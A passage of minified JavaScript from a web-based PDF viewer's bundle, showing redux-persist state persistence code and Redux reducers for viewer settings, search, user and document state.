Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function f2(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function d2(e,t,n,r){r.debug;var o=function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?c2(n,!0).forEach((function(t){f2(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):c2(n).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({},n);return e&&"object"===u2(e)&&Object.keys(e).forEach((function(r){"_persist"!==r&&t[r]===n[r]&&(o[r]=e[r])})),o}function p2(e){var t,n=e.blacklist||null,r=e.whitelist||null,o=e.transforms||[],i=e.throttle||0,a="".concat(void 0!==e.keyPrefix?e.keyPrefix:"persist:").concat(e.key),l=e.storage;t=!1===e.serialize?function(e){return e}:"function"==typeof e.serialize?e.serialize:h2;var s=e.writeFailHandler||null,u={},c={},f=[],d=null,p=null;function h(){if(0===f.length)return d&&clearInterval(d),void(d=null);var e=f.shift(),n=o.reduce((function(t,n){return n.in(t,e,u)}),u[e]);if(void 0!==n)try{c[e]=t(n)}catch(e){console.error("redux-persist/createPersistoid: error serializing state",e)}else delete c[e];0===f.length&&(Object.keys(c).forEach((function(e){void 0===u[e]&&delete c[e]})),p=l.setItem(a,t(c)).catch(g))}function m(e){return(!r||-1!==r.indexOf(e)||"_persist"===e)&&(!n||-1===n.indexOf(e))}function g(e){s&&s(e)}return{update:function(e){Object.keys(e).forEach((function(t){m(t)&&u[t]!==e[t]&&-1===f.indexOf(t)&&f.push(t)})),Object.keys(u).forEach((function(t){void 0===e[t]&&m(t)&&-1===f.indexOf(t)&&void 0!==u[t]&&f.push(t)})),null===d&&(d=setInterval(h,i)),u=e},flush:function(){for(;0!==f.length;)h();return p||Promise.resolve()}}}function h2(e){return JSON.stringify(e)}function m2(e){var t,n=e.transforms||[],r="".concat(void 0!==e.keyPrefix?e.keyPrefix:"persist:").concat(e.key),o=e.storage;e.debug;return t=!1===e.deserialize?function(e){return e}:"function"==typeof e.deserialize?e.deserialize:g2,o.getItem(r).then((function(e){if(e)try{var r={},o=t(e);return Object.keys(o).forEach((function(e){r[e]=n.reduceRight((function(t,n){return n.out(t,e,o)}),t(o[e]))})),r}catch(e){throw e}}))}function g2(e){return JSON.parse(e)}function v2(e){0}function y2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function b2(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?y2(n,!0).forEach((function(t){w2(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):y2(n).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function w2(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function E2(e,t){if(null==e)return{};var n,r,o=function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}function S2(e,t){var n=void 0!==e.version?e.version:-1,r=(e.debug,void 0===e.stateReconciler?d2:e.stateReconciler),o=e.getStoredState||m2,i=void 0!==e.timeout?e.timeout:5e3,a=null,l=!1,s=!0,u=function(e){return e._persist.rehydrated&&a&&!s&&a.update(e),e};return function(c,f){var d=c||{},p=d._persist,h=E2(d,["_persist"]);if("persist/PERSIST"===f.type){var m=!1,g=function(t,n){m||(f.rehydrate(e.key,t,n),m=!0)};if(i&&setTimeout((function(){!m&&g(void 0,new Error('redux-persist: persist timed out for persist key "'.concat(e.key,'"')))}),i),s=!1,a||(a=p2(e)),p)return b2({},t(h,f),{_persist:p});if("function"!=typeof f.rehydrate||"function"!=typeof f.register)throw new Error("redux-persist: either rehydrate or register is not a function on the PERSIST action. This can happen if the action is being replayed. This is an unexplored use case, please open an issue and we will figure out a resolution.");return f.register(e.key),o(e).then((function(t){(e.migrate||function(e,t){return Promise.resolve(e)})(t,n).then((function(e){g(e)}),(function(e){g(void 0,e)}))}),(function(e){g(void 0,e)})),b2({},t(h,f),{_persist:{version:n,rehydrated:!1}})}if("persist/PURGE"===f.type)return l=!0,f.result(function(e){var t=e.storage,n="".concat(void 0!==e.keyPrefix?e.keyPrefix:"persist:").concat(e.key);return t.removeItem(n,v2)}(e)),b2({},t(h,f),{_persist:p});if("persist/FLUSH"===f.type)return f.result(a&&a.flush()),b2({},t(h,f),{_persist:p});if("persist/PAUSE"===f.type)s=!0;else if(f.type===l2){if(l)return b2({},h,{_persist:b2({},p,{rehydrated:!0})});if(f.key===e.key){var v=t(h,f),y=f.payload,b=b2({},!1!==r&&void 0!==y?r(y,c,v,e):v,{_persist:b2({},p,{rehydrated:!0})});return u(b)}}if(!p)return t(c,f);var w=t(h,f);return w===h?c:u(b2({},w,{_persist:p}))}}function C2(e){return function(e){if(Array.isArray(e)){for(var t=0,n=new Array(e.length);t<e.length;t++)n[t]=e[t];return n}}(e)||function(e){if(Symbol.iterator in Object(e)||"[object Arguments]"===Object.prototype.toString.call(e))return Array.from(e)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance")}()}function x2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function O2(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?x2(n,!0).forEach((function(t){A2(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):x2(n).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function A2(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var _2={registry:[],bootstrapped:!1},T2=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:_2,t=arguments.length>1?arguments[1]:void 0;switch(t.type){case s2:return O2({},e,{registry:[].concat(C2(e.registry),[t.key])});case l2:var n=e.registry.indexOf(t.key),r=C2(e.registry);return r.splice(n,1),O2({},e,{registry:r,bootstrapped:0===r.length});default:return e}};var k2,P2=n(325),M2={key:"viewer",storage:n.n(P2).a,whitelist:["toolbarGroup","lastPickedToolForGroup","lastPickedToolGroup"]},R2=Object(f.b)({viewer:S2(M2,(k2=V1.viewer,function(){var e,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:k2,n=arguments.length>1?arguments[1]:void 0,r=n.type,o=n.payload;switch(r){case"SET_PRESET_CROP_DIMENSIONS":return W1(W1({},t),{},{presetCropDimensions:o.presetCropDimensions});case"SET_DATE_TIME_FORMATS":return W1(W1({},t),{},{dateTimeFormats:o.dateTimeFormats});case"SET_THUMBNAIL_SELECTION_MODE":return W1(W1({},t),{},{thumbnailSelectionMode:o.thumbnailSelectionMode});case"SET_FONTS":return W1(W1({},t),{},{fonts:o.fonts});case"SET_ACTIVE_TAB":return W1(W1({},t),{},{activeTab:o.activeTab});case"SET_TABS":return W1(W1({},t),{},{tabs:o.tabs});case"SET_IS_MULTI_TAB":return W1(W1({},t),{},{isMultiTab:o.isMultiTab});case"SET_TAB_MANAGER":return W1(W1({},t),{},{TabManager:o.TabManager});case"SET_THUMBNAIL_PAGE_SELECT":return W1(W1({},t),{},{thumbnailSelectingPages:o.isSelecting});case"SET_HIGH_CONTRAST_MODE":return W1(W1({},t),{},{highContrastMode:o.useHighContrastMode});case"SET_CAN_UNDO":return W1(W1({},t),{},{canUndo:o.canUndo});case"SET_CAN_REDO":return W1(W1({},t),{},{canRedo:o.canRedo});case"SET_LAST_PICKED_TOOL_FOR_GROUP":return W1(W1({},t),{},{lastPickedToolForGroup:W1(W1({},t.lastPickedToolForGroup),{},q1({},o.group,o.toolName))});case"SET_TOOLBAR_GROUP":return W1(W1({},t),{},{toolbarGroup:o.toolbarGroup});case"SET_SELECTED_STAMP_INDEX":return W1(W1({},t),{},{selectedStampIndex:o.index});case"SET_SELECTED_DISPLAYED_SIGNATURE_INDEX":return W1(W1({},t),{},{selectedDisplayedSignatureIndex:o.index});case"SET_STANDARD_STAMPS":return W1(W1({},t),{},{standardStamps:o.standardStamps});case"SET_CUSTOM_STAMPS":return W1(W1({},t),{},{customStamps:o.customStamps});case"SET_SAVED_SIGNATURES":return W1(W1({},t),{},{savedSignatures:o.savedSignatures});case"SET_LEFT_PANEL_WIDTH":return W1(W1({},t),{},{panelWidths:W1(W1({},t.panelWidths),{},{leftPanel:o.width})});case"SET_SEARCH_PANEL_WIDTH":return W1(W1({},t),{},{panelWidths:W1(W1({},t.panelWidths),{},{searchPanel:o.width})});case"SET_NOTES_PANEL_WIDTH":return W1(W1({},t),{},{panelWidths:W1(W1({},t.panelWidths),{},{notesPanel:o.width})});case"SET_REDACTION_PANEL_WIDTH":return W1(W1({},t),{},{panelWidths:W1(W1({},t.panelWidths),{},{redactionPanel:o.width})});case"SET_WV3D_PROPERTIES_PANEL_WIDTH":return W1(W1({},t),{},{panelWidths:W1(W1({},t.panelWidths),{},{wv3dPropertiesPanel:o.width})});case"SET_DOCUMENT_CONTAINER_WIDTH":return W1(W1({},t),{},{documentContainerWidth:o.width});case"SET_DOCUMENT_CONTAINER_HEIGHT":return W1(W1({},t),{},{documentContainerHeight:o.height});case"SET_ACTIVE_THEME":return W1(W1({},t),{},{activeTheme:o.theme});case"DISABLE_ELEMENT":return W1(W1({},t),{},{disabledElements:W1(W1({},t.disabledElements),{},q1({},o.dataElement,{disabled:!0,priority:o.priority}))});case"DISABLE_ELEMENTS":var i={};return o.dataElements.forEach((function(e){i[e]={},i[e].disabled=!0,i[e].priority=o.priority})),W1(W1({},t),{},{disabledElements:W1(W1({},t.disabledElements),i)});case"ENABLE_ELEMENT":return W1(W1({},t),{},{disabledElements:W1(W1({},t.disabledElements),{},q1({},o.dataElement,{disabled:!1,priority:o.priority}))});case"ENABLE_ELEMENTS":var a={};return o.dataElements.forEach((function(e){a[e]={},a[e].disabled=!1,a[e].priority=o.priority})),W1(W1({},t),{},{disabledElements:W1(W1({},t.disabledElements),a)});case"ENABLE_ALL_ELEMENTS":return W1(W1({},t),{},{disabledElements:W1({},k2.disabledElements)});case"OPEN_ELEMENT":return W1(W1({},t),{},{openElements:W1(W1({},t.openElements),{},q1({},o.dataElement,!0))});case"CLOSE_ELEMENT":return W1(W1({},t),{},{openElements:W1(W1({},t.openElements),{},q1({},o.dataElement,!1))});case"ENABLE_TOOL_GROUP_REORDERING":return W1(W1({},t),{},{enableToolGroupReordering:o.enableToolGroupReordering});case"SET_ACTIVE_HEADER_GROUP":return W1(W1({},t),{},{activeHeaderGroup:o.headerGroup});case"SET_ACTIVE_TOOL_NAME":return W1(W1({},t),{},{activeToolName:o.toolName});case"SET_ACTIVE_TOOL_STYLES":return W1(W1({},t),{},{activeToolStyles:W1({},o.toolStyles)});case"SET_CUSTOM_COLOR":return W1(W1({},t),{},{customColor:o.customColor});case"SET_CUSTOM_COLORS":return Dp.isLocalStorageEnabled()?window.localStorage.setItem("customColors",JSON.stringify(o.customColors)):console.error("localStorage is disabled, customColors cannot be restored"),W1(W1({},t),{},{customColors:o.customColors});case"SET_ACTIVE_TOOL_NAME_AND_STYLES":return W1(W1({},t),{},{activeToolName:o.toolName,activeToolStyles:o.toolStyles});case"SET_ACTIVE_LEFT_PANEL":return W1(W1({},t),{},{activeLeftPanel:o.dataElement});case"SET_ACTIVE_TOOL_GROUP":return W1(W1({},t),{},{activeToolGroup:o.toolGroup,lastPickedToolGroup:W1(W1({},t.lastPickedToolGroup),{},q1({},o.toolbarGroup,o.toolGroup))});case"SET_OUTLINE_CONTROL_VISIBILITY":return W1(W1({},t),{},{outlineControlVisibility:o.outlineControlVisibility});case"SET_OUTLINE_EDITING":return W1(W1({},t),{},{isOutlineEditing:o.isOutlineEditing});case"SET_NOTE_POPUP_ID":return W1(W1({},t),{},{notePopupId:o.id});case"SET_NOTE_EDITING":return W1(W1({},t),{},{isNoteEditing:o.isNoteEditing});case"SET_FIT_MODE":return W1(W1({},t),{},{fitMode:o.fitMode});case"SET_ZOOM":return W1(W1({},t),{},{zoom:o.zoom});case"SET_ROTATION":return W1(W1({},t),{},{rotation:o.rotation});case"SET_DISPLAY_MODE":return W1(W1({},t),{},{displayMode:o.displayMode});case"SET_CURRENT_PAGE":return W1(W1({},t),{},{currentPage:o.currentPage});case"SET_NOTES_PANEL_SORT_STRATEGY":return W1(W1({},t),{},{sortStrategy:o.sortStrategy});case"SET_NOTE_DATE_FORMAT":return W1(W1({},t),{},{noteDateFormat:o.noteDateFormat});case"SET_PRINTED_NOTE_DATE_FORMAT":return W1(W1({},t),{},{printedNoteDateFormat:o.noteDateFormat});case"SET_FULL_SCREEN":return W1(W1({},t),{},{isFullScreen:o.isFullScreen});case"SET_HEADER_ITEMS":return W1(W1({},t),{},{headers:W1(W1({},t.headers),{},q1({},o.header,o.headerItems))});case"SET_POPUP_ITEMS":return W1(W1({},t),{},q1({},o.dataElement,o.items));case"SET_MENUOVERLAY_ITEMS":return W1(W1({},t),{},{menuOverlay:o.items});case"REGISTER_TOOL":return W1(W1({},t),{},{toolButtonObjects:W1(W1({},t.toolButtonObjects),{},q1({},o.toolName,{dataElement:o.buttonName,title:o.tooltip,group:o.buttonGroup,img:o.buttonImage,showColor:o.showColor||"active",showPresets:null===(e=o.showPresets)||void 0===e||e}))});case"UNREGISTER_TOOL":var l=W1({},t.toolButtonObjects);return delete l[o.toolName],W1(W1({},t),{},{toolButtonObjects:l});case"UPDATE_TOOL":var s=o.toolName,u=o.properties,c=u.buttonName,f=u.tooltip,d=u.buttonGroup,p=u.buttonImage;return W1(W1({},t),{},{toolButtonObjects:W1(W1({},t.toolButtonObjects),{},q1({},s,W1(W1({},t.toolButtonObjects[s]),{},{dataElement:c||t.toolButtonObjects[s].dataElement,title:f||t.toolButtonObjects[s].title,group:void 0!==d?d:t.toolButtonObjects[s].group,img:p||t.toolButtonObjects[s].img})))});case"SET_THUMBNAIL_MERGING":return W1(W1({},t),{},{isThumbnailMerging:o.useThumbnailMerging});case"SET_THUMBNAIL_REORDERING":return W1(W1({},t),{},{isThumbnailReordering:o.useThumbnailReordering});case"SET_THUMBNAIL_MULTISELECT":return W1(W1({},t),{},{isThumbnailMultiselect:o.useThumbnailMultiselect});case"SET_MULTI_VIEWER_MERGING":return W1(W1({},t),{},{isMultipleViewerMerging:o.isMultipleViewerMerging});case"SET_ENABLE_NOTE_PANEL_VIRTUALIZED_LIST":return W1(W1({},t),{},{enableNotesPanelVirtualizedList:o.enableNotesPanelVirtualizedList});case"SET_NOTES_SHOW_LAST_UPDATED_DATE":return W1(W1({},t),{},{notesShowLastUpdatedDate:o.notesShowLastUpdatedDate});case"SET_ALLOW_PAGE_NAVIGATION":return W1(W1({},t),{},{allowPageNavigation:o.allowPageNavigation});case"SET_READ_ONLY":return W1(W1({},t),{},{isReadOnly:o.isReadOnly});case"SET_CUSTOM_PANEL":return W1(W1({},t),{},{customPanels:[].concat(z1(t.customPanels),[o.newPanel])});case"USE_EMBEDDED_PRINT":return W1(W1({},t),{},{useEmbeddedPrint:o.useEmbeddedPrint});case"SET_PAGE_LABELS":return W1(W1({},t),{},{pageLabels:z1(o.pageLabels)});case"SET_SELECTED_THUMBNAIL_PAGE_INDEXES":return W1(W1({},t),{},{selectedThumbnailPageIndexes:o.selectedThumbnailPageIndexes});case"SET_SHIFT_KEY_THUMBNAIL_PIVOT_INDEX":return W1(W1({},t),{},{shiftKeyThumbnailPivotIndex:o.shiftKeyThumbnailPivotIndex});case"SET_ACTIVE_PALETTE":var h=o.colorMapKey,m=o.colorPalette;return W1(W1({},t),{},{colorMap:W1(W1({},t.colorMap),{},q1({},h,W1(W1({},t.colorMap[h]),{},{currentPalette:m})))});case"SET_REPLY_DISABLED_FUNC":var g=o.func;return W1(W1({},t),{},{isReplyDisabledFunc:g});case"SET_ICON_COLOR":var v=o.colorMapKey,y=o.color;return W1(W1({},t),{},{colorMap:W1(W1({},t.colorMap),{},q1({},v,W1(W1({},t.colorMap[v]),{},{iconColor:y})))});case"SET_COLOR_MAP":return W1(W1({},t),{},{colorMap:o.colorMap});case"SET_WARNING_MESSAGE":return W1(W1({},t),{},{warning:o});case"SET_ERROR_MESSAGE":return W1(W1({},t),{},{errorMessage:o.message});case"SET_CUSTOM_NOTE_FILTER":return W1(W1({},t),{},{customNoteFilter:o.customNoteFilter});case"SET_ZOOM_LIST":return W1(W1({},t),{},{zoomList:o.zoomList});case"SET_MEASUREMENT_UNITS":return W1(W1({},t),{},{measurementUnits:o});case"SET_MAX_SIGNATURES_COUNT":return W1(W1({},t),{},{maxSignaturesCount:o.maxSignaturesCount});case"SET_USER_DATA":return W1(W1({},t),{},{userData:o.userData});case"SET_CUSTOM_MEASUREMENT_OVERLAY":return W1(W1({},t),{},{customMeasurementOverlay:o.customMeasurementOverlay});case"SET_SIGNATURE_FONTS":return W1(W1({},t),{},{signatureFonts:o.signatureFonts});case"SET_SELECTED_TAB":return W1(W1({},t),{},{tab:W1(W1({},t.tab),{},q1({},o.id,o.dataElement))});case"SET_CUSTOM_ELEMENT_OVERRIDES":return W1(W1({},t),{},{customElementOverrides:W1(W1({},t.customElementOverrides),{},q1({},o.dataElement,o.overrides))});case"SET_PAGE_REPLACEMENT_FILE_LIST":return W1(W1({},t),{},{pageReplacementFileList:o.list});case"SET_NOTE_TRANSFORM_FUNCTION":return W1(W1({},t),{},{noteTransformFunction:o.noteTransformFunction});case"SET_CUSTOM_NOTE_SELECTION_FUNCTION":return W1(W1({},t),{},{customNoteFunction:o.customNoteFunction});case"SET_CUSTOM_APPLY_REDACTIONS_HANDLER":return W1(W1({},t),{},{customApplyRedactionsHandler:o.customApplyRedactionsHandler});case"SET_ANNOTATION_CONTENT_OVERLAY_HANDLER":return W1(W1({},t),{},{annotationContentOverlayHandler:o.annotationContentOverlayHandler});case"ADD_CUSTOM_MODAL":var b=t.customModals.filter((function(e){return e.dataElement!==o.dataElement}));return W1(W1({},t),{},{customModals:[].concat(z1(b),[o])});case"SET_MOUSE_WHEEL_ZOOM":return W1(W1({},t),{},{enableMouseWheelZoom:o.enableMouseWheelZoom});case"SET_ENABLE_SNAP_MODE":return W1(W1({},t),{},{isSnapModeEnabled:o.enable});case"SET_READER_MODE":return W1(W1({},t),{},{isReaderMode:o.isReaderMode});case"SET_VALIDATION_MODAL_WIDGET_NAME":return W1(W1({},t),{},{validationModalWidgetName:o.validationModalWidgetName});case"SET_SUBMIT_COMMENT_MODE":return W1(W1({},t),{},{enableNoteSubmissionWithEnter:o.enableNoteSubmissionWithEnter});case"SET_NOTES_PANEL_TEXT_COLLAPSING":return W1(W1({},t),{},{isNotesPanelTextCollapsingEnabled:o.enableNotesPanelTextCollapsing});case"SET_NOTES_PANEL_REPLIES_COLLAPSING":return W1(W1({},t),{},{isNotesPanelRepliesCollapsingEnabled:o.enableNotesPanelRepliesCollapsing});case"SET_COMMENT_THREAD_EXPANSION":return W1(W1({},t),{},{isCommentThreadExpansionEnabled:o.enableCommentThreadExpansion});case"ADD_TRUSTED_CERTIFICATES":return W1(W1({},t),{},{certificates:[].concat(z1(t.certificates),z1(o.certificates))});case"ADD_TRUST_LIST":return W1(W1({},t),{},{trustLists:[].concat(z1(t.trustLists),[o.trustList])});case"SET_VERIFICATION_RESULT":return W1(W1({},t),{},{verificationResult:o.result});case"SET_DISPLAYED_SIGNATURES_FILTER_FUNCTION":return W1(W1({},t),{},{displayedSignaturesFilterFunction:o.filterFunction});case"SET_ANNOTATION_READ_STATE":var w=t.unreadAnnotationIdSet,E=o.annotationId,S=o.isRead;return S?w.delete(E):w.add(E),W1(W1({},t),{},{unreadAnnotationIdSet:new Set(w)});case"SET_LANGUAGE":return W1(W1({},t),{},{currentLanguage:o.language});case"SET_FADE_PAGE_NAVIGATION_COMPONENT":return W1(W1({},t),{},{fadePageNavigationComponent:o.fadePageNavigationComponent});case"SET_HIDE_CONTENT_EDIT_WARNING":return Dp.isLocalStorageEnabled()?window.localStorage.setItem("hideContentEditWarning",JSON.stringify(o.hideWarning)):console.error("localStorage is disabled, hideContentEditWarning cannot be restored"),W1(W1({},t),{},{hideContentEditWarning:o.hideWarning});case"SET_CURRENT_CONTENT_BEING_EDITED":return W1(W1({},t),{},{currentContentBeingEdited:o});case"UPDATE_CURRENT_CONTENT_BEING_EDITED":return W1(W1({},t),{},{currentContentBeingEdited:W1(W1({},t.currentContentBeingEdited),{},{content:o.content})});case"CLEAR_CURRENT_CONTENT_BEING_EDITED":return W1(W1({},t),{},{currentContentBeingEdited:null});case"SET_ENABLE_DESKTOP_ONLY_MODE":return W1(W1({},t),{},{isInDesktopOnlyMode:o.enableDesktopOnlyMode});case"PAGE_DELETION_CONFIRMATION_MODAL_POPUP":return W1(W1({},t),{},{pageDeletionConfirmationModalEnabled:o.pageDeletionConfirmationModalEnabled});case"SET_PAGE_MANIPULATION_OVERLAY_ITEMS":return W1(W1({},t),{},{pageManipulationOverlay:o.items});case"SET_THUMBNAIL_CONTROL_MENU_ITEMS":return W1(W1({},t),{},{thumbnailControlMenu:o.items});case"SET_WATERMARK_MODAL_OPTIONS":return W1(W1({},t),{},{watermarkModalOptions:o.watermarkModalOptions});case"SET_RESET_AUDIO_PLAYBACK_POSITION":return W1(W1({},t),{},{shouldResetAudioPlaybackPosition:o.shouldResetAudioPlaybackPosition});case"SET_ACTIVE_SOUND_ANNOTATION":return W1(W1({},t),{},{activeSoundAnnotation:o.activeSoundAnnotation});case"SET_ANNOTATION_FILTERS":return W1(W1({},t),{},{annotationFilters:o.annotationFilters});case"SET_ZOOM_STEP_FACTORS":return W1(W1({},t),{},{zoomStepFactors:o.zoomStepFactors});default:return t}})),search:function(e){return function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:e,n=arguments.length>1?arguments[1]:void 0,r=n.type,o=n.payload;switch(r){case"SEARCH_TEXT":var i=o.searchValue,a=o.options,l=void 0===a?{}:a,s=l.caseSensitive,u=l.wholeWord,c=l.wildcard,f=l.regex,d=l.searchUp,p=l.ambientString;return K1(K1({},t),{},{value:i,isCaseSensitive:s||!1,isWholeWord:u||!1,isWildcard:c||!1,isRegex:f||!1,isSearchUp:d||!1,isAmbientString:p||!1});case"SEARCH_TEXT_FULL":var h=o.searchValue,m=o.options,g=void 0===m?{}:m,v=g.caseSensitive,y=g.wholeWord,b=g.wildcard,w=g.regex;return K1(K1({},t),{},{value:h,isCaseSensitive:v||!1,isWholeWord:y||!1,isWildcard:b||!1,isRegex:w||!1,isSearchUp:!1,isAmbientString:!0});case"SET_SEARCH_VALUE":return K1(K1({},t),{},{value:o.value});case"ADD_RESULT":return K1(K1({},t),{},{results:[].concat(Z1(t.results),[o.result])});case"SET_CASE_SENSITIVE":return K1(K1({},t),{},{isCaseSensitive:o.isCaseSensitive});case"SET_WHOLE_WORD":return K1(K1({},t),{},{isWholeWord:o.isWholeWord});case"SET_WILD_CARD":return K1(K1({},t),{},{isWildcard:o.isWildcard});case"SET_SEARCH_ERROR":return K1(K1({},t),{},{errorMessage:o.errorMessage});case"RESET_SEARCH":return K1(K1({},e),{},{value:t.value,isCaseSensitive:t.isCaseSensitive,isWholeWord:t.isWholeWord,isWildcard:t.isWildcard});case"SET_SEARCH_RESULTS":return K1(K1({},t),{},{results:o});case"SET_CLEAR_SEARCH_ON_PANEL_CLOSE":return K1(K1({},t),{},{clearSearchPanelOnClose:o});case"SET_PROCESSING_SEARCH_RESULTS":return K1(K1({},t),{},{isProcessingSearchResults:o.isProcessingSearchResults});case"REPLACE_REDACTION_SEARCH_PATTERN":return K1(K1({},t),{},{redactionSearchPatterns:K1(K1({},t.redactionSearchPatterns),{},X1({},o.searchPattern,K1(K1({},t.redactionSearchPatterns[o.searchPattern]),{},{regex:o.regex})))});case"ADD_REDACTION_SEARCH_PATTERN":return K1(K1({},t),{},{redactionSearchPatterns:K1(K1({},t.redactionSearchPatterns),{},X1({},o.searchPattern.type,o.searchPattern))});case"REMOVE_REDACTION_SEARCH_PATTERN":var E=K1({},t.redactionSearchPatterns);return delete E[o.searchPatternType],K1(K1({},t),{},{redactionSearchPatterns:E});default:return t}}}(V1.search),user:function(e){return function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:e,n=arguments.length>1?arguments[1]:void 0,r=n.type,o=n.payload;switch(r){case"SET_USER_NAME":return J1(J1({},t),{},{name:o.userName});case"SET_ADMIN_USER":return J1(J1({},t),{},{isAdmin:o.isAdminUser});default:return t}}}(V1.user),document:function(e){return function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:e,n=arguments.length>1?arguments[1]:void 0,r=n.type,o=n.payload;switch(r){case"SET_DOCUMENT_FILE":return n2(n2({},t),{},{file:o.documentFile,path:o.documentFile.name,pdfDoc:null});case"SET_PAGE_NUMBER":return n2(n2({},t),{},{pageNumber:o.documentPageNumber});case"SET_TOTAL_PAGES":return n2(n2({},t),{},{totalPages:o.totalPages});case"SET_OUTLINES":return n2(n2({},t),{},{outlines:o.outlines});case"SET_BOOKMARKS":return n2(n2({},t),{},{bookmarks:o.bookmarks});case"ADD_BOOKMARK":case"EDIT_BOOKMARK":var i=n2({},t.bookmarks);return i[o.pageIndex]=o.text,n2(n2({},t),{},{bookmarks:i});case"REMOVE_BOOKMARK":var a=n2({},t.bookmarks);return delete a[o.pageIndex],n2(n2({},t),{},{bookmarks:a});case"SET_LAYERS":return n2(n2({},t),{},{layers:o.layers});case"SET_PASSWORD_ATTEMPTS":return n2(n2({},t),{},{passwordAttempts:o.attempt});case"SET_PRINT_QUALITY":return n2(n2({},t),{},{printQuality:o.quality});case"SET_DEFAULT_PRINT_OPTIONS":return n2(n2({},t),{},{defaultPrintOptions:o.options});case"SET_LOADING_PROGRESS":return n2(n2({},t),{},{loadingProgress:o.progress});default:return t}}}(V1.document),advanced:function(){return V1.advanced},featureFlags:function(){return V1.featureFlags},wv3dPropertiesPanel:function(e){return function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:e,n=arguments.length>1?arguments[1]:void 0,r=n.type,o=n.payload;switch(r){case"SET_WV3D_PROPERTIES_PANEL_MODEL_DATA":var i=o.modelData;return i2(i2({},t),{},{modelData:i});case"SET_WV3D_PROPERTIES_PANEL_SCHEMA":var a=o.schema;return i2(i2({},t),{},{schema:a});default:return t}}}(V1.wv3dPropertiesPanel)});function j2(e){return(j2="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function L2(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function I2(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function N2(e,t){return!t||"object"!==j2(t)&&"function"!=typeof t?F2(e):t}function D2(e){return(D2=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function F2(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function B2(e,t){return(B2=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function H2(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var V2=function(e){function t(){var e,n;L2(this,t);for(var r=arguments.length,o=new Array(r),i=0;i<r;i++)o[i]=arguments[i];return H2(F2(n=N2(this,(e=D2(t)).call.apply(e,[this].concat(o)))),"state",{bootstrapped:!1}),H2(F2(n),"_unsubscribe",void 0),H2(F2(n),"handlePersistorState",(function(){n.props.persistor.getState().bootstrapped&&(n.props.onBeforeLift?Promise.resolve(n.props.onBeforeLift()).finally((function(){return n.setState({bootstrapped:!0})})):n.setState({bootstrapped:!0}),n._unsubscribe&&n._unsubscribe())})),n}var n,r,o;return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&B2(e,t)}(t,e),n=t,(r=[{key:"componentDidMount",value:function(){this._unsubscribe=this.props.persistor.subscribe(this.handlePersistorState),this.handlePersistorState()}},{key:"componentWillUnmount",value:function(){this._unsubscribe&&this._unsubscribe()}},{key:"render",value:function(){return"function"==typeof this.props.children?this.props.children(this.state.bootstrapped):this.state.bootstrapped?this.props.children:this.props.loading}}])&&I2(n.prototype,r),o&&I2(n,o),t}(l.PureComponent);H2(V2,"defaultProps",{children:null,loading:null});var 